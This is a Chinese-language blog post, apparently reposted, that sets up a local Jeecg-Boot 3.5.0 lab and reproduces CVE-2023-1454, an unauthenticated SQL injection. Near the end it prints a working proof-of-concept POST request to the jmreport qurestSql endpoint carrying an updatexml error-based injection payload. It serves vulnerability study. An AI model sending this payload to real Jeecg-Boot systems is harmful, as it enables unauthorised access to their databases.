• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Jeecg-Boot 未授权SQL注入漏洞CVE-2023-1454

武飞扬头像
关闭Exit
帮助1

原创文章创作不易,个人博客charis3306.top 


环境搭建

JDK: 1.8 (小于11)

Maven: 3.5

MySql: 5.7

Redis: 3.2

Node Js: 10.0

Npm: 5.6.0

Yarn: 1.21.1

下载源码

后端源码

https://github.com/jeecgboot/jeecg-boot/tree/v3.5.0

前端源码

https://github.com/jeecgboot/jeecgboot-vue3

安装手册

http://doc.jeecg.com/2043871

下载完成后放在bc中。

学新通

JDK  Maven 用 IDEA解决。

这里我用的是JAVA17,Maven 3.8 别忘了给Maven 换源。

学新通

学新通

数据库使用小P面板。

学新通

导入数据库

代码

 

 source D:\bc\jeecg-boot\db\jeecgboot-mysql-5.7.sql

 

学新通

redis安装

https://github.com/MicrosoftArchive/redis/releases

代码

 

powershell

cd "C:\Program Files\Redis"

notepad.exe .\redis.windows.conf

redis-cli

shutdown

exit

redis-server redis.windows.conf

 

 

配置密码

学新通

配置后端项目:

redis配置

jeecg-boot\jeecg-module-system\jeecg-system-start\src\main\resources\application-dev.yml

学新通

mysql配置

学新通

启动后端项目

启动配置如下

学新通

启动完毕

学新通

前端安装

Nots js安装

https://www.runoob.com/nodejs/nodejs-install-setup.html

学新通

安装Yarn

代码

 

npm install yarn -g  //全局安装

yarn --version // 查看版本

配置源

yarn config set registry https://registry.npm.taobao.org -g

yarn config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ -g

检查源

yarn config get registry // https://registry.npm.taobao.org

yarn config get sass_binary_site // https://npm.taobao.org/mirrors/node-sass/

 

 

检查前端配置

学新通

学新通

配置WebStorm

学新通

启动前端

右键package.json文件yarn install

学新通

依赖下载完毕启动

代码

 

 >npm run serve

 

学新通

学新通

漏洞复现:

访问环境

学新通

学新通

该漏洞不需要鉴权可以直接利用。

学新通

注意这里是前后端分离的,前端为3100后端为8080

poc

代码

 

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1

Host: 192.168.1.3:8080

Content-Length: 131

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(0x23,(select current_user)),0x23)) or '%%' like '"}

 

 

学新通

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgebjbf
系列文章
更多 icon
同类精品
更多 icon
继续加载